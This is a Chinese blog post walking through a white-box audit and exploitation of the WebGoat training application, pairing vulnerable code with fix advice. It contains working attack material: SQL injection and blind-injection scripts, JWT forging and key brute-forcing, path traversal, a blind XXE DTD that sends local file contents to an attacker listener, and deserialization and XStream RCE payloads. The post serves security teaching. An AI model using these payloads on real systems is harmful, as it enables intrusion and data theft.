webgoat白盒審計+漏洞測試



title:webgoat白盒審計+漏洞測試
date:2021-01-28


前言

小白,記錄,有問題可以交流

乖乖放上參考鏈接:
https://www.freebuf.com/column/221947.html
https://www.sec-un.org/java代碼審計入門篇:webgoat-8(初見)/
https://blog.csdn.net/qq_45836474/article/details/108021657

轉載請標注原文鏈接:
https://www.cnblogs.com/HAN91/p/14585449.html
a


搭建流程

前提:

  • Java 11
  • Maven > 3.2.1
  • IDEA

下載源碼

git clone https://github.com/WebGoat/WebGoat.git

打開idea導入maven項目,build完成之后,打開localhost:8080/WebGoat,注冊賬戶

Sql注入

(未記錄完全)

select department from employees where first_name='Bob'

update employees set department='Sales' where first_name='Barnett'

alter table employees add column phone varchar(20)

grant alter table to UnauthorizedUser

12:'; update employees set salary=1000000 where last_name='Smith';--

13:'; drop table access_log;-- -

漏洞描述

當應用程序將用戶輸入的內容,拼接到SQL語句中,一起提交給數據庫執行時,就會產生SQL注入威脅。攻擊者通過控制部分SQL語句,可以查詢數據庫中任何需要的數據,利用數據庫的一些特性,甚至可以直接獲取數據庫服務器的系統權限。

漏洞成因

字符拼接的方式拼接sql語句,並且沒有做任何過濾直接執行

代碼片段以及修復建議

1. sql-injection-->SQLInjectionChanllenge

使用預編譯PrepareStatement,實現數據代碼分離

測試截圖:

根據代碼找到注入點,用sqlmap跑,payload

sqlmap.py -r 1.txt --method PUT --data "username_reg" -D PUBLIC -T CHALLENGE_USERS -C password --dump

但是可能由於服務器的原因,跑了很久,還跑錯了,密碼應該是thisisasecretfortomonly(這里建議根據響應特征自己寫個腳本跑~)

2. sql-injection-->SQLInjectionLesson6a

使用預編譯PrepareStatement,實現數據代碼分離

測試截圖:

payload(注意字段類型要對應):

-1' union select userid,user_name,password, cookie,'','',0 from user_system_data --

3. sql-injection-->Servers

列名不能加雙引號,所以只能用字符拼接的方式拼接sql語句,建議對列名進行白名單過濾

@ResponseBody
    public List<Server> sort(@RequestParam String column) throws Exception {
        List<Server> servers = new ArrayList<>();

        try (Connection connection = dataSource.getConnection();
             PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by " + column)) {
            ResultSet rs = preparedStatement.executeQuery();
            while (rs.next()) {
                Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
                servers.add(server);
            }
        }
        return servers;
    }

測試截圖:

sqlmap不太好使,太慢了,然后就看見大佬寫的腳本

布爾盲注,根據返回數據的排序來判斷真假(tql)

# -*- coding:utf-8 -*-

import requests
from string import digits
chars = digits+"."

headers = {
    'X-Requested-With': 'XMLHttpRequest'
}
cookies = {
    'JSESSIONID': 'D81iy9aS29fcA8JZUl1QEdeNBahRWoMFk8YyziGj',
    'JSESSIONID.75fbd09e': '7mc1x9iei6ji4xo2a3u4kbz1'
}
i = 0
result = ""
proxy={"http": "http://127.0.0.1:6666"}
while True:
    i += 1
    temp = result
    for char in chars:
        vul_url = "http://localhost:8080/WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,{0},1)='{1}'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end".format(i, char)
        resp = requests.get(vul_url, headers=headers, cookies=cookies, proxies=proxy)
        # print(resp.json())
        if 'webgoat-acc' in resp.json()[0]['hostname']:
            result += char
    print(result)
    if temp == result:
        break

'''select * from table where 
column = 
case
when (select substr(ip,{0},1) = '{1}' from server where  hostname = 'webgoat-prd')
then hostname
else mac end'''

4. sql-injection-->SqlOnlyInputValidation

限制用戶輸入內容不能包含空格,但是可以通過過/**/注釋,括號等繞過,過濾空格后直接調用SQLInjectionLesson6a的注入函數(字符拼接執行並直接輸出結果),修復建議同SQLInjectionLesson6a

測試截圖:

payload

-1'/**/union/**/select/**/userid,user_name,password,cookie,'','',0/**/from/**/user_system_data/**/--/**/

5. sql-injection-->SqlOnlyInputValidationOnKeywords

對用戶輸入進行關鍵字'select' 'from'進行了一次判斷置空,並限制用戶輸入不能包含空格,可以通過雙寫+注釋繞過繞過,建議使用預編譯

測試截圖:

payload

-1'/**/union/**/selselectect/**/userid,user_name,password,cookie,'','',0/**/frfromom/**/user_system_data/**/--/**/

任意文件上傳

漏洞描述

文件上傳功能允許用戶將本地的文件通過Web頁面提交到網站服務器上,但是如果不對用戶上傳的文件進行合法性驗證,則攻擊者可利用Web應用系統文件上傳功能(如文件上傳、圖像上傳等)的代碼缺陷來上傳任意文件或者webshell,並在服務器上運行,以達到獲取Web應用系統控制權限或其他目的。

漏洞成因

未對用戶輸入的參數進行合法性驗證

代碼片段以及修復建議

1. path-traversal-->ProfileUpload

獲取前端上傳的文件以及字符串“fullName”

@PostMapping(value = "/PathTraversal/profile-upload", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
 @ResponseBody
 public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName", required = false) String fullName) {
     return super.execute(file, fullName);
 }

調用父類ProfileUploadBase,execute()方法,判斷文件和"fullName"非空后直接上傳,並且“fullName”用作子路徑名字符串

修復建議

  1. 對fullName進行判斷過濾
  2. 使用適當的權限保護文件夾
  3. 隨機化重命名用戶上傳的文件名
  4. 根據用戶上傳的文件類型重構文件

測試截圖:


2. path-traversal-->ProfileUploadFix

對“fullName”過濾了“../”,但是因為replace並不能遞歸檢測,所以可以通過雙寫繞過('..././'),修復建議同上

public AttackResult uploadFileHandler(
            @RequestParam("uploadedFileFix") MultipartFile file,
            @RequestParam(value = "fullNameFix", required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
    }

測試截圖:


3. path-traversal-->ProfileUploadRemoveUserInput

直接使用了源文件名,所以直接修改文件名即可,建議隨機重命名文件名

public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
        return super.execute(file, file.getOriginalFilename());
    }

測試截圖:


目錄遍歷

漏洞描述

路徑遍歷,即利用路徑回溯符“../”跳出程序本身的限制目錄實現下載任意文件。例如Web應用源碼目錄、Web應用配置文件、敏感的系統文件(/etc/passwd、/etc/paswd)等。

一個正常的Web功能請求:

http://www.test.com/get-files.jsp?file=report.pdf

如果Web應用存在路徑遍歷漏洞,則攻擊者可以構造以下請求服務器敏感文件:

http://www.test.com/get-files.jsp?file=../../../../../../../../../../../../etc/passwd

漏洞成因

未對用戶輸入的參數進行合法性驗證

代碼片段以及修復建議

path-traversal-->ProfileUploadRetrieval

源碼過濾了'..'和'/',但是可以通過url編碼進行繞過

根據參數id進行判斷

如果用戶輸入的id.jpg存在,那么返回包中返回該圖片的base64編碼

如果不存在,就返回catPicturesDirectory的父目錄的所有文件信息,用逗號分割

測試截圖:

修復建議:

1. 使用適當的權限保護文件夾
2. 禁止返回目錄信息
3. 對url編碼后的參數也要進行解碼過濾
4. 統一404界面

身份認證繞過

漏洞描述

業務流程由前端進行控制,服務器端對應的各功能分離,導致業務流程可被攻擊者進行控制,從而繞過流程中的各項校驗功能,達到攻擊的目的。

漏洞成因

未對用戶可控的參數進行合法性驗證

代碼片段以及修復建議

1. auth-bypass-->VerifyAccount.completed()

if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) {
            return failed(this)
                    .feedback("verify-account.cheated")
                    .output("Yes, you guessed correctly, but see the feedback message")
                    .build();
        }

調用verificationHelper.didUserLikelylCheat()

將用戶輸入的問題用鍵值對的方式保存,並和后端代碼存儲的答案進行比較。

但是Mapper在get一個不存在的鍵時,並不會報錯,而是返回null。所以用戶可以通過控制key的值繞過。

建議

  1. 若用戶可控key,那么應該先判斷這個key是否合法
  2. 設置不可控key,直接將用戶的輸入作為value進行判斷
 static {
        userSecQuestions.put("secQuestion0", "Dr. Watson");
        userSecQuestions.put("secQuestion1", "Baker Street");
    }

    private static final Map<Integer, Map> secQuestionStore = new HashMap<>();

    static {
        secQuestionStore.put(verifyUserId, userSecQuestions);
    }
    // end 'data store set up'

    // this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
    public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
        boolean likely = false;

        if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
            likely = true;
        }

        if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
                && (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) {
            likely = true;
        } else {
            likely = false;
        }
        return likely;

測試截圖:

2. auth-bypass-->AccountVerificationHelper.verifyAccount()

判斷了key是否存在,但是不包含該key仍然可以繞過

//end of cheating check ... the method below is the one of real interest. Can you find the flaw?

    public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
        //short circuit if no questions are submitted
        if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
            return false;
        }

        if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
            return false;
        }

        if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
            return false;
        }

        // else
        return true;

    }

建議修改為

if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
            return false;
        }
// 同時判斷key和對應的value
        if (submittedQuestions.containsKey("secQuestion0") && submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")) && submittedQuestions.containsKey("secQuestion1") && submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
            return true;
        }

        // else
        return false;

作者沒寫這個功能點,就是在源碼里面問了一下

3. JWT

jwt-->JWTVotesEndpoint.vote()

沒有驗證簽名,直接判斷token中的admin對應值是否為true,所以把token中的alg設置為none,admin設置為true即可(親測bp轉換的不行)

 if (StringUtils.isEmpty(accessToken)) {
            return failed(this).feedback("jwt-invalid-token").build();
        } else {
            try {
                Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
                Claims claims = (Claims) jwt.getBody();
                boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
                if (!isAdmin) {
                    return failed(this).feedback("jwt-only-admin").build();
                } else {
                    votes.values().forEach(vote -> vote.reset());
                    return success(this).build();
                }
            } catch (JwtException e) {
                return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
            }
        }

轉換腳本:

# -*- coding:utf-8 -*-

import jwt
import base64
# header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
#payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}

def b64urlencode(data):
    return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')

print(b64urlencode(b'{"alg":"none"}')+b'.'+b64urlencode(b'{"iat":1673470025,"admin":"true","user":"Tom"}')+b'.')

測試截圖:

jwt-->JWTSecretKeyEndpoint.login()

隨機取數組中的值進行加密,可以用字典進行爆破

 public static final String[] SECRETS = {"victory", "business", "available", "shipping", "washington"};
static final String JWT_SECRET = TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);
public String getSecretToken() {
        return Jwts.builder()
                .setIssuer("WebGoat Token Builder")
                .setAudience("webgoat.org")
                .setIssuedAt(Calendar.getInstance().getTime())
                .setExpiration(Date.from(Instant.now().plusSeconds(60)))
                .setSubject("tom@webgoat.org")
                .claim("username", "Tom")
                .claim("Email", "tom@webgoat.org")
                .claim("Role", new String[]{"Manager", "Project Administrator"})
                .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();
    }

爆破腳本(字典pass.txt用的是源碼里面的數組)(如果腳本報錯jwt找不到jwt.exceptions,可能是pyjwt的問題,更新pyjwt>=1.6.4即可,解決來源):

import termcolor
import jwt
if __name__ == "__main__":
    jwt_str = 'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYxMTc5ODAxNSwiZXhwIjoxNjExNzk4MDc1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.w1tzWDwmZcggbyV9ixcw1Vydf07MG9mAsPVbQPgBh2E'
    with open('pass.txt') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_, algorithms="HS256")
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')

測試截圖:

爆破出來key,就可以去https://jwt.io/#debugger加工啦

jwt-->JWTRefreshEndpoint

登錄時調用createNewTokens()

會獲取到的refresh token和該用戶的access token

refresh token是通過RandomStringUtils.randomAlphabetic(20)獲取的隨機值,用於刷新過期的access token

但是由於沒有綁定用戶信息,所以可以用來刷新任何任何用戶的過期token

        Map<String, Object> tokenJson = new HashMap<>();
        String refreshToken = RandomStringUtils.randomAlphabetic(20);
        validRefreshTokens.add(refreshToken);
        tokenJson.put("access_token", token);
        tokenJson.put("refresh_token", refreshToken);
        return tokenJson;

token刷新,請求包中的refresh_token被包含在隨機生成的token集合中時,就返回一個新的token:

 if (user == null || refreshToken == null) {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        } else if (validRefreshTokens.contains(refreshToken)) {
            validRefreshTokens.remove(refreshToken);
            return ok(createNewTokens(user));
        } else {
            return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
        }

測試截圖:

利用登錄接口,登錄當前用戶jerry,獲取刷新refresh_token

沒有成功刷新token,報錯信息:給出的token無法正常解析

jwt-->JWTFinalEndpoint.resetVotes()

存在sql注入點"kid"(KID代表“密鑰序號”(Key ID)。它是JWT頭部的一個可選字段,開發人員可以用它標識認證token的某一密鑰)

可以通過union進行繞過,將"key"作為認證密鑰,使用在線工具偽造token

這里將數據庫取出的key用base64解碼了,所以在注入的時候要注入key的base編碼

aaa' union select 'a2V5' from jwt_keys where id='webgoat_key
final String kid = (String) header.get("kid");
                        try (var connection = dataSource.getConnection()) {
                            ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                            while (rs.next()) {
                                return TextCodec.BASE64.decode(rs.getString(1));
                            }
                        }

建議

  1. 保證密鑰的保密性
  2. 簽名算法固定在后端,不以JWT里的算法為標准
  3. 避免敏感信息保存在JWT中
  4. 盡量JWT的有效時間足夠短
  5. 盡量避免用用戶可以獲取的參數刷新token,避免邏輯繞過
  6. 注意header部分,若有sql語句,建議使用預編譯

測試截圖:

a2v5是key的base64編碼


4. 安全問題

password_reset-->QuestionsAssignment

密保問題設置為,你最喜歡的顏色是什么,可以直接用常見顏色生成字典進行爆破,建議使用更復雜的難以破解的問題,並且限制輸入次數

測試截圖:

password_reset-->ResetLinkAssignmentForgotPassword

參數host是從Request頭部獲取的,可以通過控制host參數,給用戶發送一個我們控制的link,用戶點擊后訪問我們的服務器,服務器記錄該請求,從而獲取到后面的resetLink,然后我們再通過正常的訪問修改密碼

修復建議:

1. 禁止將用戶可控的參數拼接進密碼重置link
2. 重置鏈接應該是一次性有效的
private void fakeClickingLinkEmail(String host, String resetLink) {
        try {
            HttpHeaders httpHeaders = new HttpHeaders();
            HttpEntity httpEntity = new HttpEntity(httpHeaders);
            new RestTemplate().exchange(String.format("http://%s/PasswordReset/reset/reset-password/%s", host, resetLink), HttpMethod.GET, httpEntity, Void.class);
        } catch (Exception e) {
         //don't care
        }
    }

測試截圖:

攻擊者服務器記錄了請求

用戶敏感信息傳輸與存儲

漏洞描述

系統未對用戶的敏感信息(如密碼、身份證號、電話號碼、銀行卡號等)進行加密、脫敏等操作,導致用戶信息存在泄露的風險。

漏洞成因

提交登錄請求時,沒有對密碼進行加密

代碼片段以及修復建議

前端存儲的用戶名和密碼

function submit_secret_credentials() {
    var xhttp = new XMLHttpRequest();
    xhttp['open']('POST', '#attack/307/100', true);
	//sending the request is obfuscated, to descourage js reading
	var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]}))
}

調用該函數的發包截圖:

建議在數據傳過程中,對用戶的敏感數據進行加密

XML外部實體注入

漏洞描述

XXE(XML External Entity Injection)是一種針對XML終端實施的攻擊,漏洞產生的根本原因就是在XML1.0標准中引入了“entity”這個概念,且“entity”可以在預定義的文檔中進行調用,XXE漏洞的利用就是通過實體的標識符訪問本地或者遠程內容。黑客想要實施這種攻擊,需要在XML的payload包含外部實體聲明,且服務器本身允許實體擴展。這樣的話,黑客或許能讀取WEB服務器的文件系統,通過UNC路徑訪問遠程文件系統,或者通過HTTP/HTTPS連接到任意主機。

漏洞成因

XML解析沒有禁止外部實體的解析,且用戶可控REST XML格式的參數。

代碼片段以及修復建議

1. xxe-->SimpleXXE.createNewComment()

boolean secure = false;
        	if (null != request.getSession().getAttribute("applySecurity")) {
        		secure = true;
        	}
            Comment comment = comments.parseXml(commentStr, secure);
            comments.addComment(comment, false);
            if (checkSolution(comment)) {
                return success(this).build();
            }

其中調用 Comment 的parseXml(commentStr, secure)方法進行xml解析
正如代碼中所示,可以通過設置XMLConstants的兩個屬性來禁用外部實體解析,默認的空字符串就是禁用,也可以指定協議等。

詳細信息可以看XMLConstants中的注釋。

     var jc = JAXBContext.newInstance(Comment.class);
     var xif = XMLInputFactory.newInstance();
   if (secure) {
        	xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
     	xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant
        }
        
   
        var xsr = xif.createXMLStreamReader(new StringReader(xml));
    
        var unmarshaller = jc.createUnmarshaller();
        return (Comment) unmarshaller.unmarshal(xsr);

測試截圖:

2. xxe-->ContentTypeAssignment.createNewUser()

根據contentType判斷數據格式,xml解析和1一樣,其余同上

 // 如果是xml格式
        if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
            String error = "";
            try {
            	boolean secure = false;
            	if (null != request.getSession().getAttribute("applySecurity")) {
            		secure = true;
            	}
                Comment comment = comments.parseXml(commentStr, secure);
                comments.addComment(comment, false);
                if (checkSolution(comment)) {
                    attackResult = success(this).build();
                }
            }

測試截圖:


3. xxe-->ContentTypeAssignment.addComment()

這里作者為了弄一個blind xxe,特別設置了提交正確的內容才返回success

xml解析代碼並沒有改變

實際上還是通過參數實體注入(參數實體也能被外部引用),為了看到數據所以要通過盲打的方式,將WEB服務器的本地文件內容發送到攻擊者的服務器

修復建議同上

//Solution is posted as a separate comment
        if (commentStr.contains(CONTENTS)) {
            return success(this).build();
        }

        try {
        	boolean secure = false;
        	if (null != request.getSession().getAttribute("applySecurity")) {
        		secure = true;
        	}
            Comment comment = comments.parseXml(commentStr, secure);
            if (CONTENTS.contains(comment.getText())) {
                comment.setText("Nice try, you need to send the file to WebWolf");
            }
            comments.addComment(comment, false);
        }

測試截圖:

a.dtd上傳在攻擊服務器上

<!ENTITY % payload  "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">

數據通過實體引用成功回顯啦

水平越權

漏洞描述

水平越權漏洞,是一種“基於數據的訪問控制”設計缺陷引起的漏洞。由於服務器端在接收到請求數據進行操作時,沒有判斷數據的所屬人,而導致的越權數據訪問漏洞。如服務器端從客戶端提交的request參數(用戶可控數據)中獲取用戶id,惡意攻擊者通過變換請求ID的值,查看或修改不屬於本人的數據。

漏洞成因

服務器端對數據的訪問控制驗證不充分

代碼片段以及修復建議

idor-->IDORViewOtherProfile

安全代碼將確保在拆除所請求的配置文件之前確保有一個水平訪問控制檢查

例如檢查登錄用戶的session中的id(用戶不可控)是否和請求的id一致

if(requestedProfile.getUserId().equals(authUserId))

 if (userSessionData.getValue("idor-authenticated-as").equals("tom")) {
            //going to use session auth to view this one
            String authUserId = (String) userSessionData.getValue("idor-authenticated-user-id");
            if (userId != null && !userId.equals(authUserId)) {
                //on the right track
                UserProfile requestedProfile = new UserProfile(userId);
                // secure code would ensure there was a horizontal access control check prior to dishing up the requested profile
                 if (requestedProfile.getUserId().equals("2342388")) {
                    return success(this).feedback("idor.view.profile.success").output(requestedProfile.profileToMap().toString()).build();
                } else {
                    return failed(this).feedback("idor.view.profile.close1").build();
                }

測試截圖:

XSS跨站腳本

漏洞描述

跨站腳本攻擊(Cross Site Script)是一種將惡意JavaScript代碼插入到其他Web用戶頁面里執行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態展示數據功能,在HTML頁面里嵌入惡意代碼。當用戶瀏覽該頁時,這些嵌入在HTML中的惡意代碼會被執行,用戶瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的,如cookie竊取、帳戶劫持、拒絕服務攻擊等。

跨站腳本攻擊有以下攻擊形式:

1、反射型跨站腳本攻擊

攻擊者利用社會工程學等手段,發送一個URL鏈接給用戶打開,在用戶打開頁面的同時,瀏覽器會執行頁面中嵌入的惡意腳本。

2、存儲型跨站腳本攻擊

攻擊者利用應用程序提供的錄入或修改數據的功能,將數據存儲到服務器或用戶cookie中,當其他用戶瀏覽展示該數據的頁面時,瀏覽器會執行頁面中嵌入的惡意腳本,所有瀏覽者都會受到攻擊。

3、DOM跨站腳本攻擊

由於HTML頁面中,定義了一段JS,根據用戶的輸入,顯示一段HTML代碼,攻擊者可以在輸入時,插入一段惡意腳本,最終展示時,會執行惡意腳本。

DOM跨站腳本攻擊和以上兩個跨站腳本攻擊的區別是,DOM跨站是純頁面腳本的輸出,只有規范使用JavaScript,才可以防御。

漏洞成因

在HTML中常用到字符實體,將常用到的字符實體沒有進行轉譯,導致完整的標簽出現,在可輸入的文本框等某些區域內輸入特定的某些標簽導致代碼被惡意篡改。

代碼片段以及修復建議

1. xss-->CrossSiteScriptingLesson5a

反射型xss

題目用正則表達式匹配用戶輸入的參數field1,因為是題目需求這里匹配 ".*<script>(console\.log|alert)\(.\);?<\/script>."后在頁面上進行輸出

public static final Predicate<String> XSS_PATTERN = Pattern.compile(
            ".*<script>(console\\.log|alert)\\(.*\\);?<\\/script>.*"
            , Pattern.CASE_INSENSITIVE).asMatchPredicate();
if (XSS_PATTERN.test(field1)) {
            userSessionData.setValue("xss-reflected-5a-complete", "true");
            if (field1.toLowerCase().contains("console.log")) {
                return success(this).feedback("xss-reflected-5a-success-console").output(cart.toString()).build();
            } else {
                return success(this).feedback("xss-reflected-5a-success-alert").output(cart.toString()).build();
            }
        }

測試截圖:

修復建議:

  1. 根據要在何處使用用戶輸入,使用適當的轉義/編碼技術:HTML轉義,JavaScript轉義,CSS轉義,URL轉義等。使用現有的轉義庫,除非絕對必要,否則請不要編寫自己的庫。

  2. 如果用戶輸入需要包含HTML,則無法對其進行轉義/編碼,因為它會破壞有效的標簽。在這種情況下,請使用受信任且經過驗證的庫來解析和清除HTML。

  3. 為cookie設置HttpOnly標志

  4. 使用內容安全策略

2. DOM型

源碼中使用路由,路由中的參數而無需編碼可以執行WebGoat中的內部功能

// something like ... http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere
// or http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>

測試截圖:

通過url觸發路由內部函數的執行

http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere<script>webgoat.customjs.phoneHome();<%2Fscript>

修復建議:規范使用JavaScript

反序列化

反序列化漏洞呢是一個說復雜也不復雜,說不復雜也很復雜的問題,要理解的點還是有很多的,這里就講的很細

deserialization-->InsecureDeserializationTask

根據 if (!(o instanceof VulnerableTaskHolder)),可以發現,我們序列化的實例應該是VulnerableTaskHolder

try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
            before = System.currentTimeMillis();
            Object o = ois.readObject();
            if (!(o instanceof VulnerableTaskHolder)) {
                if (o instanceof String) {
                    return failed(this).feedback("insecure-deserialization.stringobject").build();
                }
                return failed(this).feedback("insecure-deserialization.wrongobject").build();
            }
            after = System.currentTimeMillis();

VulnerableTaskHolder定位到Runtime.getRuntime().exec(taskAction)

並且taskAction是在構造函數里被賦值的

所以我們可以通過控制taskAction來控制執行的命令(eg. VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6")),將對象使用序列化工具序列化,提交至后端處理,就會觸發

//condition is here to prevent you from destroying the goat altogether
		if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
				&& taskAction.length() < 22) {
		log.info("about to execute: {}", taskAction);
		try {
            Process p = Runtime.getRuntime().exec(taskAction);
            BufferedReader in = new BufferedReader(
                                new InputStreamReader(p.getInputStream()));
            String line = null;
            while ((line = in.readLine()) != null) {
                log.info(line);
            }
        }

測試截圖:

序列化VulnerableTaskHolder對象,base64編碼

static public void main(String[] args){
        try{
            VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(go);
            oos.flush();
            byte[] exploit = bos.toByteArray();
            String exp = Base64.getEncoder().encodeToString(exploit);
            System.out.println(exp);
        } catch (Exception e){

        }

提交后反序列化后的對象

但是沒有執行成功,谷歌了一下,說是用java調用CMD 命令時,需要指定 ,但是這個會改變現存代碼邏輯,暫未實現,實現后再更新

反序列化漏洞修復建議:

1. 如果是第三方組件存在反序列化漏洞,建議更新版本或打補丁
2. 加強對Runtime.exec相關代碼的檢測
3. 條件允許的話,禁止JVM執行外部命令

第三方組件

漏洞描述

系統中引用了存在已知漏洞的第三方組件,如Jackson反序列化漏洞、Struts2遠程代碼執行漏洞等,可能會直接或間接導致系統淪陷。

代碼片段以及修復建議

CVE-2013-7285漏洞詳情

攻擊者可以通過版本信息找到相應的cve漏洞和payload進行利用,如下就是通過構造ContactImpl的xml格式通關。

try {
        	if (!StringUtils.isEmpty(payload)) {
        		payload = payload.replace("+", "").replace("\r", "").replace("\n", "").replace("> ", ">").replace(" <", "<");
        	}
            contact = (Contact) xstream.fromXML(payload);
        } catch (Exception ex) {
            return failed(this).feedback("vulnerable-components.close").output(ex.getMessage()).build();
        }
        
        try {
            if (null!=contact) {
            	contact.getFirstName();//trigger the example like https://x-stream.github.io/CVE-2013-7285.html
            } 
            if (!(contact instanceof ContactImpl)) {
            	return success(this).feedback("vulnerable-components.success").build();
            }
        } catch (Exception e) {
        	return success(this).feedback("vulnerable-components.success").output(e.getMessage()).build();
        }

實例案例中,可以通過構造xml格式的數據,造成rce

第三方漏洞修復建議:更新到最新版本,或者打補丁

測試截圖:

payload:

<sorted-set>
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>cacl.exe</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

成功彈出計算器

CSRF

漏洞描述

CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。

漏洞成因

網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以后只要是訪問這個網站,都會默認你已經登錄的狀態。而在這個期間,攻擊者發送了構造好的csrf腳本或包含csrf腳本的鏈接,可能會執行一些用戶不想做的功能

部分代碼及修復建議

1. csrf-->ForgedReviews.createNewReview()

只判斷了refer值

測試截圖:

bp一鍵生成

修復建議:

  1. 在服務器端生成隨機token,瀏覽器在發起針對數據的修改請求將token提交,由服務器端驗證通過夠進行操作邏輯,token需要至多一次有效,並具有有限的生命周期

  2. 通過檢查refer值,判斷請求是否合法(下面的代碼就是典型的反例)

  3. 針對需要用戶授權的請求,提示用戶輸入身份認證后再繼續操作

  4. 針對頻繁操作提示輸入驗證碼后再繼續進行操作

